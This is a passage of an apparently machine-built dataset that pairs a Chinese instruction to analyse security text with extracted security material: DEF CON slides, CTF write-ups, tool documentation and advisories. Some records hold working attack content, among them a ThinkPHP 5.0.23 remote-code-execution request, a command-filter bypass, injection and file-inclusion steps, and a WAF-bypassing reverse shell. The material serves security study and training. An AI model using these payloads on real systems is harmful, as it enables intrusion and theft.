Sensor Networks to do our bidding. Introductions Anch - anch@subba.net @boneheadsanon Omega - omega@omegacs.net The Internet of Things Things... No, Not your fridge. An Internet of things, not things on the Internet. Sensor Networks What are they What they (are supposed to) do What they are used for (usually) The Network part of Sensor Networks ZigBee (802.15.4) LowPower Wireless Network Advantages Limitations 6LowPan 802.15.4 (Yup, Runs on top of ZigBee MAC) IPv6 for Low Power Wireless Advantages Limitations So... What are we doing here... The Project Build a Darknet... of Things A darknet of things Something fun to build Hardware hacking taken to the next level build the largest free-roaming sensor network in the world. (DC21?!) A project for the community to work on Considerations NO ARDUINO Overdone People already know it (lets learn something new) Processors arent powerful enough. (to really do anything interesting) Considerations Must be HACKABLE People need to have fun with it. Modifiable, Changeable, Bendable. But still stable. Considerations Maintainable Fix shit if it b0rk3s. Shit happens. Considerations Must be a network of THINGS (Not things on a network) Wearable/Moveable. Pocketable. Considerations Must work outside of DefCon Needs to be able to work at home/hackerspaces Access-Points/Development boards available The Hardware Darknet Badges... Planned for DefCon 21 2 ARM Micro Processors (1 Main, 1 Network) USB (2 ports, host and client) 2.8 TFT Touch Screen 6LowPan Network Connectivity Battery Powered and Rechargable DarkNet Badges... HACKABLE JTAG Headers and Peripherals Available Hardware Schematics, Software ToolChain etc. Open and Available, and part of a project we are starting today.. More information later. DarkNet Badges... EXPANDABLE SDRAM Pads Available unused peripherals available Dev. Boards and APs Network only development boards Designed to be attached to your projects UART(s) exposed 1 x MC13224v USB + JTAG", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n从一道CTF的非预期解看PHP反斜杠匹配问题 前言 刷buuoj的时候遇到这样一个题做一半看到他这个正则写的有点问题就去翻wp 找到了官方的wp发现果然是个非预期 但是官方wp中并没有深入说明后来看到评论去翻出题人的博客也没找到相关的信息加上看到了其 他wp中一些不准确的说法所以今天就有了这篇文章来讲一讲自己的看法 正文 题目源码 前面md5碰撞已经是老套路了问题出在后面对shell命令的过滤上 熟悉php代码审计的同学应该都知道在preg_match中要过滤 \\ 是需要四个 \\\\\\\\ 才可以达到目的原 理如下 '; die(\"xixi no flag\"); } else { $txt = base64_encode(file_get_contents($file)); echo \"\"; echo \"
\"; } echo $cmd; echo \"
\"; if (preg_match(\"/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bz more|bzless|pcre|paste|diff|file|echo|sh|\\'|\\\"|\\`|;|,|\\*|\\? |\\\\|\\\\\\\\|\\n|\\t|\\r|\\xA0|\\{|\\}|\\(|\\)|\\&[\\d]|@|\\||\\\\$|\\[|\\]|{|}|\\(|\\)|-| <|>/i\", $cmd)) { echo(\"forbid ~\"); echo \"
\"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo (\"md5 is funny ~\"); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 if (preg_match(\"/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmo re|bzless|pcre|paste|diff|file|echo|sh|\\'|\\\"|\\`|;|,|\\*|\\? |\\\\|\\\\\\\\|\\n|\\t|\\r|\\xA0|\\{|\\}|\\(|\\)|\\&[\\d]|@|\\||\\\\$|\\[|\\]|{|}|\\(|\\)|-|<|>/i\", $cmd)) { echo(\"forbid ~\"); echo \"
\"; } 1 2 3 4 但是出题人似乎觉得不够又在后面加了四个反斜杠的匹配似乎本意是要过滤 \\ 跟 \\\\ 理论来说已经出现了四个 \\\\\\\\ 了但是为什么还会造成非预期 ca\\t 这种解呢 我们本地测试一下 去掉其他的乱七八糟的东西只留下对于反斜杠等的过滤 可以看到虽然正则中有 \\\\\\\\ 但是却无法过滤到反斜杠 反向思考其原因应该是问题出在前面两个反斜杠的匹配部分 因为正则匹配中相当于要经过两层解析器解析一层是php的一层是正则表达式的所以此处前面的 两个反斜杠经过php解析器处理后应该是表示了一个转义号 \\ 之后又与后面的表示逻辑或的 | 结合到 一起从而在正则表达式解析器中解析为 \\| 又因为 | 是正则中的保留符号所以需要一个转义符来 转义所以最后的实现效果应为对于字符 | 的过滤 $str = '\\/div'; $pattern = '/\\\\\\\\\\/div/'; // '\\\\\\\\\\/'", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAura A peer-to-peer reputation system Cat Okita, 2003 Reputation Systems What is a Reputation System? Livejournal/Friendster, eBay, Advogato, Slashcode Why do you care? What could you use this for? Establishing trust, performance metrics, meme propagation, spam filtering Challenges Authentication Trust Non-repudiation Design Considerations Fast, resource efficient Secure - Difficult to corrupt information or impersonate others Portable - Easy to use from any location Simple to use and extend (plugins) Independent - not dependant on a centralized server Attacks Information poisoning Flooding Trojans Identity theft Impersonation DoS Implementation Peer-to-peer Local datastore Can also run as an aggregator Reputation overall personal and general, or by specific area Gossip information about indirect entities A quick check of Reputation Picking a mailer Stable, fast, secure? Finding out about a poster to a mailing list Credibility: Crazy, expert, unknown? Filtering Personal or server level Configuration Text-based configuration Use Templates to describe data format to exchange details Requires use of public/private key cryptography Future Plans Pretty GUI Better cross-platform portability Improved statistical reporting Implementation of group keys Trigger automation Finis Available at: http://www.geekness.net/tools/aura Email to: aura@geekness.net Questions???", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nfofahub - 1 标签 地址 新增属性 fofahub 未开源 https://hub.fofa.info/ 因为想做个 bugbounty 资产平台所以体验了下 fofahub记录些觉得不错的式 体验 新建项 图标好像是动选取资产范围内的图标 资产导 输范围域名后它能返回资产信息 可能是根据 fofa 结果筛选 fofahub - 2 分析 fofahub - 3 较好的点是能通过分析的结果添加更多资产到资产追踪中例如从证书主域名中添加更多域名从根域名中添加域名 点击些详情后会使搜索语法到资产列表搜索 资产列表是以 ip 为维度域名什么的都是根据 ip 来的这样显示其实有点乱点击 ip跳到 ip 详情显示 ip 绑定的域名端 标题服务等等 fofahub - 4 作流 fofahub 资产收集是地基核是这个 workflow 有点类似 python 的积式编程 可以看到它其中的函数 数据源 资产仓库获取 fofa 获取 络请求 http 请求 渲染 dom 截图 添加 fofa 搜索 协议获取识别 应识别指纹识别 漏洞扫描 数据处理 格式化为 url 排序 去重 图章识别OCR 本分类 数据输出 mysql sqlite excel 输出到仓库 图表 fofahub - 5 胡乱拼了个 fofa 的 workflow就可以不受限的获取数据了 这个时候还没有部署 agent 学习&总结 workflow 动化编排使积式之前也到过使关系图使 docker 函数式编程的式技术上说不清孰好孰坏还是得看谁的户量 的多 像 nuclei 使 yaml 格式编写 poc当官仓库有够量了才能带动其他编写 但是他内置了 fofa来嫖应该不错 ~ 后再内置些其他的数据源加些域名爆破之类的信息收集段就会不错 资产管理 资产部分的数据应该都是来 fofa现在的 fofahub 就只是个展示的效果展示的也挺杂管理相关更没多少 柱状图 饼图 fofahub - 6", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: 列出存储桶里的对象 --- ## 列出存储桶里的对象 使用以下命令可以列出存储桶中的对象 ```bash cf alibaba oss obj ls ``` 如果想指定获取对象的数量可以使用 `-n` 或者 `--number` 参数 ```bash cf alibaba oss obj ls -n 100 ``` 在有些情况下当前 AK 可能会没有列出 Bucket 的权限如果你知道 Bucket 的名称可以使用 `-b` 指定 Bucket ```bash cf alibaba oss ls -b bucket_name ``` 这时可能会碰到没有获取 Bucket 区域的情况加上 `-r` 参数指定区域即可例如指定 cn-hangzhou ```bash cf alibaba oss ls -b bucket_name -r cn-hangzhou ``` ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Buffering 1 Category: Binary Exploitation, 100 points ## Description > The flag distributing service was updated, but now it seems to be buffering foreverrrrr ```c #include #include #include #include \"flag.h\" int get_credentials(); int authenticate_with_server(int *authenticated); void print_flag(); extern char flag[100]; char spinning_icon[4] = {'/', '-', '\\\\', '|'}; #define USERNAME_LENGTH 32 #define PASSWORD_LENGTH 64 int main() { int authenticated = 0; long int i = 0; printf(\"Hello and thank you for using Flag Distibuter v2.0 \\n\"); get_credentials(); printf(\"Autenticating \"); while (!authenticate_with_server(&authenticated)){ printf(\"\\b%c\", spinning_icon[(i++) % 4]); fflush(stdout); sleep(0.91); } if(authenticated) print_flag(); return 0; } int get_credentials() { char username[USERNAME_LENGTH] = {0}; char password[PASSWORD_LENGTH] = {0}; printf(\"To receive the flag, please enter your username and password\\n\"); printf(\"Username: \"); fflush(stdout); read(STDIN_FILENO, username, PASSWORD_LENGTH); printf(\"Password: \"); fflush(stdout); read(STDIN_FILENO, password, PASSWORD_LENGTH); } void print_flag() { printf(\"Thank you for waiting, here's the flag: %s\\n\", flag); fflush(stdout); exit(0); } int authenticate_with_server(int *authenticated) { /*TODO: add authentication with server*/ return 0; } ``` ## Solution This is the follow-up for [Flag Server](Flag_Server.md). Let's check the diff: ```console (user@kali)-[/media/sf_CTFs/ducky_debug_duck/Buffering_1] $ diff -y ../Flag_Server/flag_server.c buffering_1.c #include #include #include #include > #include #include \"flag.h\" #include \"flag.h\" int get_credentials(); int get_credentials(); int authenticate_with_server(int *authenticated); int authenticate_with_server(int *authenticated); void print_flag(); void print_flag(); extern char flag[100]; extern char flag[100]; > char spinning_icon[4] = {'/', '-', '\\\\', '|'}; #define USERNAME_LEN", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nmsfconsole | tee 1.txt app 0x00 0x01 0x02 while true do if [ ! -n \"$1\" ] ;then keyword=\"successful\" else keyword=$1 fi result=$(tail -n 1 1.txt | grep $keyword) if test ! -z \"$result\"; then wget --output-document=/dev/null \"https://api.day.app/api/find: $result\" sleep 5s fi sleep 0.05 done sh test.sh successful //successful 0x03 0x04", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" Copyright (C) 1996 Andries Brouwer (aeb@cwi.nl) .\\\" .\\\" %%%LICENSE_START(VERBATIM) .\\\" Permission is granted to make and distribute verbatim copies of this .\\\" manual provided the copyright notice and this permission notice are .\\\" preserved on all copies. .\\\" .\\\" Permission is granted to copy and distribute modified versions of this .\\\" manual under the conditions for verbatim copying, provided that the .\\\" entire resulting derived work is distributed under the terms of a .\\\" permission notice identical to this one. .\\\" .\\\" Since the Linux kernel and libraries are constantly changing, this .\\\" manual page may be incorrect or out-of-date. The author(s) assume no .\\\" responsibility for errors or omissions, or for damages resulting from .\\\" the use of the information contained herein. The author(s) may not .\\\" have taken the same level of care in the production of this manual, .\\\" which is licensed free of charge, as they might when working .\\\" professionally. .\\\" .\\\" Formatted or processed versions of this manual, if unaccompanied by .\\\" the source, must acknowledge the copyright and authors of this work. .\\\" %%%LICENSE_END .\\\" .\\\" Moved to man3, aeb, 980612 .\\\" .\\\"******************************************************************* .\\\" .\\\" This file was generated with po4a. Translate the source file. .\\\" .\\\"******************************************************************* .TH ULIMIT 3 2017\\-09\\-15 Linux \"Linux 程序员手册\" .SH 名称 ulimit \\- 获取并设置用户限制 .SH 概述 \\fB#include \\fP .PP \\fBlong ulimit(int \\fP\\fIcmd\\fP\\fB, long \\fP\\fInewlimit\\fP\\fB);\\fP .SH 描述 警告该例程已过时请使用 \\fBgetrlimit\\fP(2)\\fBsetrlimit\\fP(2) 和 \\fBsysconf\\fP(3) 代替有关 shell 命令 \\fBulimit\\fP() 请参见 \\fBbash\\fP(1) .PP \\fBulimit\\fP() 调用可以获取或设置调用进程的某些限制\\fIcmd\\fP 参数可以取如下的值 .TP \\fBUL_GETFSIZE\\fP 返回文件大小相关的限制单位为 512 字节 .TP \\fBUL_SETFSIZE\\fP 设置文件大小相关的限制 .TP \\fB3\\fP Linux 未实现返回数据段可能的最大地址 .TP \\fB4\\fP 已实现但未提供符号常量返回调用进程可以打开文件的最大数量 .SH 返回值 如果成功\\fBulimit\\fP() 返回非零值如果出错返回值为 \\-1且将相应设置 \\fIerrno\\fP 的值 .SH 错误 .TP \\fBEPERM\\fP 一个", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# ThinkPHP5 5.0.23 Remote Code Execution Vulnerability [中文版本(Chinese version)](README.zh-cn.md) ThinkPHP is an extremely widely used PHP development framework in China. In its version 5.0(<5.0.24), while obtaining the request method, the framework processes it incorrectly, which allows an attacker to call any method of the Request class, resulting in a RCE vulnerability through a specific exploit chain. References - https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003 ## Environment Setup Enter the following command(ThinkPHP version: 5.0.23) ``` docker compose up -d ``` Visit `http://your-ip:8080` and you'll see the default page of ThinkPHP. ## POC Send the packets and execute the command `id`: ``` POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id ``` ![](1.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDEFCON 22 Eric Smith & Joshua Perrymon LARES ALL YOUR BADGES ARE BELONG TO US AGENDA INTRO WHAT IS RED TEAMING TRADITIONAL ATTACKS/TECHNIQUES RFID OVERVIEW ADVANCED ATTACKS REMEDIATION/RISK MITIGATION ABOUT: LARES CORP Minimum of 15 years InfoSec Experience per consultant (90+ combined) Penetration Testing Execution Standard Core Members (PTES) Publications Aggressive Network Self Defense Contributing writer to COBIT Contributing writer to ISO17799, and one of less than 1000 certified auditors of the ISO17799 (international standards for security best practices) Authors of multiple national / international security awareness training programs Blogs/Podcasts/Media/Conferences ABOUT: LARES PRESENTERS TedX InfraGard Defcon BlackHat OWASP SANS BruCon SOURCE ToorCon ISACA/ISSA ShmooCon PHNeutral Dark Reading Security B-Sides ChicagoCon NotaCon White Hat World Sec-T Troopers CSI HackCon Derbycon DakotaCon ShakaCon ABOUT: ERIC SMITH Over 15 years IT/IS experience Red Team Testing/Physical Security Assessments Social Engineering Penetration Testing Risk Assessments Qualifications B.Sc. Information Security/CISSP, CISA, CCSA, CCNA Work Experience: Senior Partner/Principal Security Consultant Lares Consulting Senior Partner/Principal Security Consultant Layer 8 Labs Senior Security Consultant Alternative Technology Application Security Analyst Equifax, Inc. Senior Security Consultant International Network Services Security Engineer GE Power Systems Security Analyst - Bellsouth ABOUT: JOSH PERRYMON Over 15 years IT/IS experience Risk Assessments Red Team Testing/Physical Security Assessments Social Engineering Vulnerability Assessments & Penetration Testing Application Assessments Wireless Security Assessments Qualifications CEH, OPST, OPSA, OSSTMM Trainer Work Experience: Senior Adversarial Engineer Lares Senior Partner Layer 8 Labs Advanced Insider Threat/Intel Bank of America Red Team Leader Bank of America CEO PacketFocus Sr. Consul", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n@0x222 Paul Such (SCRT) @Agixid Florian Gaultier (SCRT) PLAYING WITH CAR FIRMWARE (OR HOW TO BRICK YOUR CAR) SUMMARY Who am I ? Hacking car firmware , why ? Model Hidden menu Finding the firmware sources Analyzing the firmware Some interesting results A 2.2 Ton (4400 pounds) brick Conclusions WHO AM I ? Name : Paul Such Twitter : @0x222 Life : Security Engineer and founders of SCRT (A Swiss security company specialized in Ethical hacking, IT security, digital forensics) Hobbies : Guitarist, mountain biker, fan of motorsport Organizer of the Swiss security event : Insomnihack (security conferences, CTF,) March 2015 Research done with Florian Gaultier Twitter : @agixid HACKING CAR FIRMWARE ? WHY ? Fun and profit ! A lot of researches have already been done regarding CANBUS, OBD2, Car entertainment system can do much more than entertainment : you can nearly control everything : lights. central locking , air conditioning, GPS, Bluetooth, phone, Wi-Fi, auxiliary heating, A lot of cars have built-in options that are just software-activated : TV, Wifi, auxiliary heating, sounds interesting (MAIN) MODEL Car : VW touareg 2 Multimedia : RNS 850 (audi Mmi-3G) GETTING THE FIRMWARE - SOURCES The hard way : dismount the car , find the disk/flash (in my case -> the drive is inside the glovebox. Note the IDE/PATA interface, not SATA ! ) Buy a RNS850 on Ebay Social engineering : the VW dealer/mechanic For some models : update the GPS => could update the firmware (ex : audi TT) Google is your friend : RNS850 firmware ! UPLOAD/MODIFY THE FIRMWARE No way but the hard way : direct disk access Find the magic combo (Press PHONE + SET UP together for 3-5 seconds) To reboot the RNS850, you need your 5 fingers (Phone+Climate+Nav+Traffic+Button) HIDDEN MENUS HIDDEN MENUS HIDDEN MENUS UPLOAD/MODIFY THE FIRMWARE (2) Power-user : OBD2 + VAGCOM + combo ANALYSING THE FIRMWARE Firmware seems to be a mix of EFS & IFS filesystem We used the tool dumpefs to dump the ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\ngarble 研究 目录 Go编译流程 garble 结果 编译输出 asm compile link 其他 garble的混淆 文本的混淆 总结 参考 Go编译流程 创建临时目录mkdir -p $WORK/b001/ 查找依赖信息cat >$WORK/b001/importcfg << ... 执行源代码编译/usr/local/go/pkg/tool/darwin_amd64/compile ... 收集链接库文件cat >$WORK/b001/importcfg.link << ... 生成可执行文件/usr/local/go/pkg/tool/darwin_amd64/link -o ... 移动可执行文件mv $WORK/b001/exe/a.out hello 参考 https://zhuanlan.zhihu.com/p/62922404 garble 结果 garble.exe --debug build -a ./testdata/bench/ C:\\Users\\xqx\\Downloads\\garble-0.6.0>garble.exe --debug build -a ./testdata/bench/ [garble] original build info obtained in 404.58ms via: go list -json -export - trimpath -deps ./testdata/bench/ [garble] calling via toolexec: C:\\Program Files\\Go\\bin\\go.exe build -trimpath - toolexec=C:\\Users\\xqx\\Downloads\\garble-0.6.0\\garble.exe -debug -a ./testdata/bench/ # internal/unsafeheader [garble] shared cache loaded in 1.01ms from C:\\Users\\xqx\\AppData\\Local\\Temp\\garble-shared2294351362\\main-cache.gob [garble] transforming compile with args: -o $WORK\\b005\\_pkg_.a -trimpath C:\\Program Files\\Go\\src\\internal\\unsafeheader=>internal/unsafeheader;C:\\Users\\xqx\\AppData\\L ocal\\ Temp\\go-build836191770\\b005=> -p internal/unsafeheader -std -complete -buildid 6Lk3G_89Pb2Kfju4e-Kd/6Lk3G_89Pb2Kfju4e-Kd -goversion go1.17.3 -importcfg $WORK\\b005\\import cfg -pack -c=4 C:\\Program Files\\Go\\src\\internal\\unsafeheader\\unsafeheader.go [garble] 0 cached output files loaded in 0s [garble] obfuscating unsafeheader.go [garble] transformed args for compile in 9.22ms: -o $WORK\\b005\\_pkg_.a -trimpath C:\\Users\\xqx\\AppData\\Local\\Temp\\garble-shared2294351362=>;C:\\Program Files\\Go\\src\\intern al\\unsafeheader=>internal/unsafeheader;C:\\Users\\xqx\\AppData\\Local\\Temp\\go- build836191770\\b005=> -p internal/unsafeheader -std -complete -buildid 6Lk3G_89Pb2Kfju4e-Kd/6Lk 3G_89Pb2Kfju4e-Kd -goversion go1.17.3 -importcfg C:\\Users\\xqx\\AppData\\Local\\Temp\\garble-shared2294351362\\importcfg3347418780 -pack -c=4 -dwarf=false C:\\Users\\xqx\\AppData \\Local\\Temp\\garble-shared2294351362\\internal\\unsafehea", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTaking Kerberos To The Next Level James Forshaw | @tiraniddo Researcher @ Google Project Zero Specialize in Windows Local Privilege Escalation RPC/COM Internals Token manipulation NtApiDotNet | D2J | OleViewDotNet Never met a logical vulnerability I didnt like. Nick Landers | @monoxgas Adversarial R&D @ NetSPI Also specialize in Windows Offensive tooling suites Payload architectures Vulnerability research sRDI | Dark Side Ops Your Prod is our Dev. Assumptions You understand the basics of Kerberos Youre (somewhat) familiar with existing remote attacks You want to see some local privilege escalation (LPE) Talking to Yourself can be good for you Server Code ABC.REALM Client Code Local Kerberos Authentication Local Security Authority Kerberos Security Package AcceptSecurityContext KDC.REALM KEY: abc$@REALM SPN: HOST/ABC InitializeSecurityContext krbtgt/REALM TGT PAC Server Code ABC.REALM Client Code Local Kerberos Authentication Local Security Authority Kerberos Security Package KDC.REALM KEY: abc$@REALM InitializeSecurityContext TGS-REQ SPN: HOST/ABC krbtgt/REALM TGT PAC Server Code ABC.REALM Client Code Local Kerberos Authentication Local Security Authority Kerberos Security Package KDC.REALM SPN: HOST/ABC krbtgt/REALM TGT PAC InitializeSecurityContext TGS-REP HOST/ABC TGS PAC KEY: abc$@REALM Server Code ABC.REALM Client Code Local Kerberos Authentication Local Security Authority Kerberos Security Package KDC.REALM KEY: abc$@REALM SPN: HOST/ABC krbtgt/REALM TGT PAC AP-REQ HOST/ABC TGS PAC AcceptSecurityContext Local Security Authority Server Code ABC.REALM Client Code Local Kerberos Authentication Kerberos Security Package KDC.REALM KEY: abc$@REALM SPN: HOST/ABC krbtgt/REALM TGT PAC HOST/ABC TGS PAC Access Token KEY PAC ❶ Logon with credentials to initialize key in LSA User Session Local Security Authority Client Local Kerberos Silver Ticket KEY: bob@REALM LsaLogonUser u: REALM\\bob pw: Password! User Session Local Security Authority Client Local Kerberos Si", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Level14 #### About This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :) To do this level, log in as the level14 account with the password level14. Files for this level can be found in /home/flag14. #### Source code There is no source code available for this level #### Solutions ``` 11111111111111111111111111111111111111111111111 123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]` Output: 8457c118-887c-4e40-a5a6-33a25353165 su flag14 < 8457c118-887c-4e40-a5a6-33a25353165 /bin/getflag ``` #### Exploits ``` #!/usr/bin/env python # -*- encoding: utf-8 -*- def main(): with open('/home/flag14/token', 'r') as f: keys = [] data = f.read().strip() for i, j in enumerate(data): key = chr(ord(j) - i) keys.append(key) pwd = \"\".join(keys) return pwd if __name__ == \"__main__\": main() ``` #### Recommends How to run command as a different user ? http://www.cyberciti.biz/open-source/command-line-hacks/linux-run-command-as-different-user/ http://stackoverflow.com/questions/233217/pass-password-to-su-sudo-ssh http://www.experts-exchange.com/Programming/Languages/Scripting/Python/Q_23048208.html", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nStamp Out Hash Corruption, Crack All the Things! RyanReynolds,Manager,CroweHorwath,LLP JonathanClaudius,SpiderLabsSecurityResearcher,Trustwave July2012 Abstract ThiswhitepaperistoserveasasupportingreferencetotheDEFCON20talk,Stamp OutHashCorruption,CrackAlltheThings!.Thefocusofboththepaperand presentationistoshowhowanumberofWindowspasswordextractiontools CainandAble,Metasploit,Creddumpandmanyothersyieldcorruptdatawhen extractingpasswordhashesfromtheWindowsRegistry.Boththepaperandthe presentationincludethediscoveryprocessandadetaileddescriptionofthe problem,aswellasasolutionforobtainingthecorrecthashes. Content Primer ThemotivationbehindobtainingpasswordhashesfromWindowsbasedsystemsis verysimilartoobtainingpasswordhashesfromanyotheroperatingsystem,service orapplication.Generallyspeaking,thefocusofthisprocessiseithertotransforma hashintotheoriginalcleartextversionofthepasswordortobeabletousethat hashdirectly(perhapsviathepassthehashtechniqueinWindows)toeither validatethesecurityofthepassworditselfortoescalateprivilegesinthecontextof amalicioususer. WhenreferringtoWindowsbasedpasswordhashes,therearetwodifferenthash typesthatthispaperwillfocuson;LANManager(LM)stylehashesandNTLAN Manager(NTLM)stylehashes.LMhashingistheolderofthetwohashing algorithmsandcomeswithanumberofsecurityflaws: Passwordsarenotcasesensitive Passwordshaveamaximumlengthof14characters Passwordsaresplitintotwo7characterportions,eachofwhichishashed separately,drasticallyreducingthenumberofpotentialhashkeys Hashesarenotindividuallysalted NTLMhashing,beingthenewerofthetwoalgorithms,isstrongerthanLMhashing. Iteliminatesthefirstthreeshortcomings,butitisstillnotindividuallysalted, leavingbothalgorithmssusceptibletoprecomputeddictionaryattacks. Twomethodsforextractingpasswordhasheswillbediscussed:memoryinjection intotheLSASSprocessspace(memoryinjection)andreadingoftheSAMfromthe WindowsRegistry(registryreading). LSASSinjectionislikelythemostpopularmethodforobtainingWindowspassword hashes,usingtoolssuchaspwdu", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nVDLDS ALL YOUR VOICE ARE BELONG TO US Ganesh Devarajan & Don LeBert Agenda Introduction Problem Background Scenarios Architecture Server Model Distributed Client server model Demo Future Work Introduction Ganesh Devarajan Don LeBert Problem People give out a lot of information on the phone calls PII Data Account information Insider information Background Government has the ability to tap Phone conversations and look for key words Jihad, terrorist, etc. This is done at the provider level or with an expensive bug Background What is DLP? Why is it important? Background In the News Sony PS3 Hack RSA Citi Bank Hack ADP Background What is VoIP? How does a VoIP phone call work? SIP, RTP Scenarios Social Engineering Insider Trading/Leaks Calls to bookies/Brokers Call centers Vendor Account information Spy on People? PII Data Credit Cards Architecture Architecture Architecture VoIP data to Audio file WireShark VoIPong VOMIT Oreka RTPBreak RTPscan, RTPdump, RTPplay Cain & Abel Architecture Architecture Audio to Text Converter Microsoft Speech (Now called Tellme) Sphinx (3/4) OSX (use NSSpeechRecognizer Class) Other Commercial Architecture Sphinx 4 Architecture Speech recognition system written in java Portable (mobile, osx, linux, windows) Interaction with engine via scripting languages Easy to hide ;) Architecture Keyword Detection Engine Script based Completely custom in what you are trying to pull out Takes some skill Rule based Easy for Joe sixpack Low customization Deployment Architecture Deployment Architecture Deployment Architecture Demo Future Work Extension for Mobile devices Disguised App Conversation sniffer Real time Voice Obfuscator Interact with conversation Filter Inject References http://cmusphinx.sourceforge.net/wiki/ tutorialconcepts http://cmusphinx.sourceforge.net/sphinx4/ Questions? Ganesh Devarajan ganesh.devarajan@gmail.com Don LeBert don.lebert@gmail.com", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPENTEST ETO(200) 学到了姿势盲注还可以这么搞= =测试了几发发现是 xpath 的注入 然后爆破不出来根据提示说要利用可见字符于是学到新技能 就是利用 测试 http://eto.sctf.xctf.org.cn/?action=user&id =6 or count(//user)=5(确认user节点存在) http://eto.sctf.xctf.org.cn/?action=user&id=6 or count(//user/password)=5(确认password字段 存在) http://eto.sctf.xctf.org.cn/?action=user&id=6 or string-length(//user[1]/password)=32确认 YeWenjie的密码是32位 存在的字符去盲注出密码一发脚本得到最后密码其中有一位注不出来猜了几个就猜 出是 m 来了= = Homework(200) 随手注册一发是发现可以利用php://filter/read=convert.base64-encode/resource=去读 到源码看一下注册的源码看到了是用 imagecreatefromgif 等函数处理上传图片的于是 想起了 http://www.freebuf.com/articles/web/54086.html然后就是改图片上传去包含就行 了 直接执行任意命令拿到最后 flag Sycshell(200) 依旧是先看源码一开始对着 index 上的东西看了好久在源码里发现内部资料 本地添加 host 去访问发现是张猫看源码发现大量 jsfuck找工具进行解密 发现目录访问之 用%0b.1e1 可以绕过 pass 然后继续发现能文件包含读了下 waf 可以发现把 phar 以及 zip 禁了然而大写绕过就可以了下面问题来了如何去 getshell 又学到了东西利用 LFI 以及 phpinfo 去写缓存文件 参考文章http://www.freebuf.com/articles/web/79830.html然后改了发脚本因为这里可 以用 ZIP 去绕过并读取文件打包一个 zip 然后去读取不断上传最终拿到 shell '); ?> DrugMarket1(300) 首先在 404 源码里面发现真正的网址http://drug.spentest.com/访问一发主页貌似 没有很大用处看下源码: 发现存在一个类似于留言评论的输入框一开始想的是 xss结果随手试了试文件包含= = 然后发现居然可以读 session 的临时文件测试了下发现是直接把 name 写进 session 去 然后直接姓名写入一句话直接成功拿到 shell 然而发现上去权限做的好死尴尬了又想是渗透题现在这个的 shell 不是我们最终想要 的那个 shell于是翻到配置文件发现数据库的用户名和密码都是套路很容易猜对了 然后登入 drug 的数据库利用 upadte 去 xss 打到 drug 的后台以及 cookie 然后登陆到后台 目测是要执行命令然后主办方说要绕 waf然后绕啊绕发现空格也不行但能用{IFS}去 绕过同时 nc 监听的端口只能是 80于是思路就明确了 最终 payload 以及 flag 一台80端口 没被占用的 vpsnc监听 利用一台 web服务的 vps去wegt 绕过waf拿到 Reverse shell 然后在自己的 vps 上连接就好了 Hackme(300) 写在题目前面的话这个题目真心不只值 300 分 拿到题目发现存在注入点但是问题在于空格被过滤了使用/*111*/绕过可以读 取文件尝试读取 nginx 的错误日志找到后台然后尝试读取 php 文件权限不够下午得 到提示 xss 和管理员会查看备忘录想到写 xss 到数据库中发现确实可以 x 到数据但是没 用结合提示想到利用 xss 去读取浏览器缓存方法无非就是伪造登录框hook 登录按 钮偷窃浏览器的已保存密码之类的在比赛中因为不可能有人手动输入所以最后可能 的就是利用浏览器保存的密码于是发送一个表单过去让他自动填上 username 和 password之后 get 回本地得到密码 nizhendeyongyuancaibudaomimade这是对我们赤 裸裸的嘲讽登陆发现是文件下载之后尝试下载本目录下所有文件发现../ ..\\被过滤 了但是只过滤了一次使用/./绕过下载其他的文件源码见附件发现一个 session.php里头源码是 freebuf 的 http://www.freebuf", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Writeup HackIT 2017 Team: c7f.m0d3, nazywam, akrasuski1, shalom, 